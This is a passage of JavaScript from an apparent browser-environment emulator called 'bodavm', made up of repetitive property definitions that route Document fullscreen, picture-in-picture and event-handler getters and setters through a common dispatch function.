bodavm.memory.globalobj['Document'].prototype, "Document", "webkitIsFullScreen_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "webkitCurrentFullScreenElement", {configurable:true, enumerable:true, get:function webkitCurrentFullScreenElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "webkitCurrentFullScreenElement_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "webkitFullscreenEnabled", {configurable:true, enumerable:true, get:function webkitFullscreenEnabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "webkitFullscreenEnabled_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "webkitFullscreenElement", {configurable:true, enumerable:true, get:function webkitFullscreenElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "webkitFullscreenElement_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onwebkitfullscreenchange", {configurable:true, enumerable:true, get:function onwebkitfullscreenchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitfullscreenchange_get", arguments)}, set:function onwebkitfullscreenchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitfullscreenchange_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onwebkitfullscreenerror", {configurable:true, enumerable:true, get:function onwebkitfullscreenerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitfullscreenerror_get", arguments)}, set:function onwebkitfullscreenerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitfullscreenerror_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "rootElement", {configurable:true, enumerable:true, get:function rootElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "rootElement_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "pictureInPictureEnabled", {configurable:true, enumerable:true, get:function pictureInPictureEnabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "pictureInPictureEnabled_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "pictureInPictureElement", {configurable:true, enumerable:true, get:function pictureInPictureElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "pictureInPictureElement_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onbeforexrselect", {configurable:true, enumerable:true, get:function onbeforexrselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforexrselect_get", arguments)}, set:function onbeforexrselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforexrselect_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onabort", {configurable:true, enumerable:true, get:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onabort_get", arguments)}, set:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onabort_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onbeforeinput", {configurable:true, enumerable:true, get:function onbeforeinput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforeinput_get", arguments)}, set:function onbeforeinput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforeinput_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onblur", {configurable:true, enumerable:true, get:function onblur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onblur_get", arguments)}, set:function onblur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onblur_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "oncancel", {configurable:true, enumerable:true, get:function oncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncancel_get", arguments)}, set:function oncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncancel_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "oncanplay", {configurable:true, enumerable:true, get:function oncanplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncanplay_get", arguments)}, set:function oncanplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncanplay_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "oncanplaythrough", {configurable:true, enumerable:true, get:function oncanplaythrough (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncanplaythrough_get", arguments)}, set:function oncanplaythrough (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncanplaythrough_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onchange", {configurable:true, enumerable:true, get:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onchange_get", arguments)}, set:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onchange_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onclick", {configurable:true, enumerable:true, get:function onclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onclick_get", arguments)}, set:function onclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onclick_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onclose", {configurable:true, enumerable:true, get:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onclose_get", arguments)}, set:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onclose_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "oncontextlost", {configurable:true, enumerable:true, get:function oncontextlost (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncontextlost_get", arguments)}, set:function oncontextlost (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncontextlost_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "oncontextmenu", {configurable:true, enumerable:true, get:function oncontextmenu (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncontextmenu_get", arguments)}, set:function oncontextmenu (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncontextmenu_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "oncontextrestored", {configurable:true, enumerable:true, get:function oncontextrestored (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncontextrestored_get", arguments)}, set:function oncontextrestored (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncontextrestored_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "oncuechange", {configurable:true, enumerable:true, get:function oncuechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncuechange_get", arguments)}, set:function oncuechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncuechange_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "ondblclick", {configurable:true, enumerable:true, get:function ondblclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondblclick_get", arguments)}, set:function ondblclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondblclick_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "ondrag", {configurable:true, enumerable:true, get:function ondrag (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondrag_get", arguments)}, set:function ondrag (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondrag_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "ondragend", {configurable:true, enumerable:true, get:function ondragend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragend_get", arguments)}, set:function ondragend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragend_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "ondragenter", {configurable:true, enumerable:true, get:function ondragenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragenter_get", arguments)}, set:function ondragenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragenter_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "ondragleave", {configurable:true, enumerable:true, get:function ondragleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragleave_get", arguments)}, set:function ondragleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragleave_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "ondragover", {configurable:true, enumerable:true, get:function ondragover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragover_get", arguments)}, set:function ondragover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragover_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "ondragstart", {configurable:true, enumerable:true, get:function ondragstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragstart_get", arguments)}, set:function ondragstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragstart_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "ondrop", {configurable:true, enumerable:true, get:function ondrop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondrop_get", arguments)}, set:function ondrop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondrop_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "ondurationchange", {configurable:true, enumerable:true, get:function ondurationchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondurationchange_get", arguments)}, set:function ondurationchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondurationchange_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onemptied", {configurable:true, enumerable:true, get:function onemptied (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onemptied_get", arguments)}, set:function onemptied (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onemptied_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onended", {configurable:true, enumerable:true, get:function onended (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onended_get", arguments)}, set:function onended (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onended_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onerror_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onfocus", {configurable:true, enumerable:true, get:function onfocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onfocus_get", arguments)}, set:function onfocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onfocus_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onformdata", {configurable:true, enumerable:true, get:function onformdata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onformdata_get", arguments)}, set:function onformdata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onformdata_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "oninput", {configurable:true, enumerable:true, get:function oninput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oninput_get", arguments)}, set:function oninput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oninput_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "oninvalid", {configurable:true, enumerable:true, get:function oninvalid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oninvalid_get", arguments)}, set:function oninvalid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oninvalid_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onkeydown", {configurable:true, enumerable:true, get:function onkeydown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onkeydown_get", arguments)}, set:function onkeydown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onkeydown_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onkeypress", {configurable:true, enumerable:true, get:function onkeypress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onkeypress_get", arguments)}, set:function onkeypress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onkeypress_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onkeyup", {configurable:true, enumerable:true, get:function onkeyup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onkeyup_get", arguments)}, set:function onkeyup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onkeyup_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onload", {configurable:true, enumerable:true, get:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onload_get", arguments)}, set:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onload_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onloadeddata", {configurable:true, enumerable:true, get:function onloadeddata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onloadeddata_get", arguments)}, set:function onloadeddata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onloadeddata_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onloadedmetadata", {configurable:true, enumerable:true, get:function onloadedmetadata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onloadedmetadata_get", arguments)}, set:function onloadedmetadata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onloadedmetadata_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onloadstart", {configurable:true, enumerable:true, get:function onloadstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onloadstart_get", arguments)}, set:function onloadstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onloadstart_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onmousedown", {configurable:true, enumerable:true, get:function onmousedown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmousedown_get", arguments)}, set:function onmousedown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmousedown_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onmouseenter", {configurable:true, enumerable:true, get:function onmouseenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseenter_get", arguments)}, set:function onmouseenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseenter_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onmouseleave", {configurable:true, enumerable:true, get:function onmouseleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseleave_get", arguments)}, set:function onmouseleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseleave_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onmousemove", {configurable:true, enumerable:true, get:function onmousemove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmousemove_get", arguments)}, set:function onmousemove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmousemove_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onmouseout", {configurable:true, enumerable:true, get:function onmouseout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseout_get", arguments)}, set:function onmouseout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseout_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onmouseover", {configurable:true, enumerable:true, get:function onmouseover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseover_get", arguments)}, set:function onmouseover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseover_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onmouseup", {configurable:true, enumerable:true, get:function onmouseup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseup_get", arguments)}, set:function onmouseup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseup_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onmousewheel", {configurable:true, enumerable:true, get:function onmousewheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmousewheel_get", arguments)}, set:function onmousewheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmousewheel_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onpause", {configurable:true, enumerable:true, get:function onpause (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpause_get", arguments)}, set:function onpause (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpause_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onplay", {configurable:true, enumerable:true, get:function onplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onplay_get", arguments)}, set:function onplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onplay_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onplaying", {configurable:true, enumerable:true, get:function onplaying (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onplaying_get", arguments)}, set:function onplaying (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onplaying_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onprogress", {configurable:true, enumerable:true, get:function onprogress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onprogress_get", arguments)}, set:function onprogress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onprogress_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onratechange", {configurable:true, enumerable:true, get:function onratechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onratechange_get", arguments)}, set:function onratechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onratechange_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onreset", {configurable:true, enumerable:true, get:function onreset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onreset_get", arguments)}, set:function onreset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onreset_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onresize", {configurable:true, enumerable:true, get:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onresize_get", arguments)}, set:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onresize_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onscroll", {configurable:true, enumerable:true, get:function onscroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onscroll_get", arguments)}, set:function onscroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onscroll_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onsecuritypolicyviolation", {configurable:true, enumerable:true, get:function onsecuritypolicyviolation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onsecuritypolicyviolation_get", arguments)}, set:function onsecuritypolicyviolation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onsecuritypolicyviolation_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onseeked", {configurable:true, enumerable:true, get:function onseeked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onseeked_get", arguments)}, set:function onseeked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onseeked_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onseeking", {configurable:true, enumerable:true, get:function onseeking (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onseeking_get", arguments)}, set:function onseeking (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onseeking_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onselect", {configurable:true, enumerable:true, get:function onselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onselect_get", arguments)}, set:function onselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onselect_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onslotchange", {configurable:true, enumerable:true, get:function onslotchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onslotchange_get", arguments)}, set:function onslotchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onslotchange_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onstalled", {configurable:true, enumerable:true, get:function onstalled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onstalled_get", arguments)}, set:function onstalled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onstalled_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onsubmit", {configurable:true, enumerable:true, get:function onsubmit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onsubmit_get", arguments)}, set:function onsubmit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onsubmit_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onsuspend", {configurable:true, enumerable:true, get:function onsuspend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onsuspend_get", arguments)}, set:function onsuspend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onsuspend_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "ontimeupdate", {configurable:true, enumerable:true, get:function ontimeupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontimeupdate_get", arguments)}, set:function ontimeupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontimeupdate_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "ontoggle", {configurable:true, enumerable:true, get:function ontoggle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontoggle_get", arguments)}, set:function ontoggle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontoggle_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onvolumechange", {configurable:true, enumerable:true, get:function onvolumechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onvolumechange_get", arguments)}, set:function onvolumechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onvolumechange_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onwaiting", {configurable:true, enumerable:true, get:function onwaiting (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwaiting_get", arguments)}, set:function onwaiting (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwaiting_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onwebkitanimationend", {configurable:true, enumerable:true, get:function onwebkitanimationend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitanimationend_get", arguments)}, set:function onwebkitanimationend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitanimationend_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onwebkitanimationiteration", {configurable:true, enumerable:true, get:function onwebkitanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitanimationiteration_get", arguments)}, set:function onwebkitanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitanimationiteration_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onwebkitanimationstart", {configurable:true, enumerable:true, get:function onwebkitanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitanimationstart_get", arguments)}, set:function onwebkitanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitanimationstart_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onwebkittransitionend", {configurable:true, enumerable:true, get:function onwebkittransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkittransitionend_get", arguments)}, set:function onwebkittransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkittransitionend_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onwheel", {configurable:true, enumerable:true, get:function onwheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwheel_get", arguments)}, set:function onwheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwheel_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onauxclick", {configurable:true, enumerable:true, get:function onauxclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onauxclick_get", arguments)}, set:function onauxclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onauxclick_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "ongotpointercapture", {configurable:true, enumerable:true, get:function ongotpointercapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ongotpointercapture_get", arguments)}, set:function ongotpointercapture 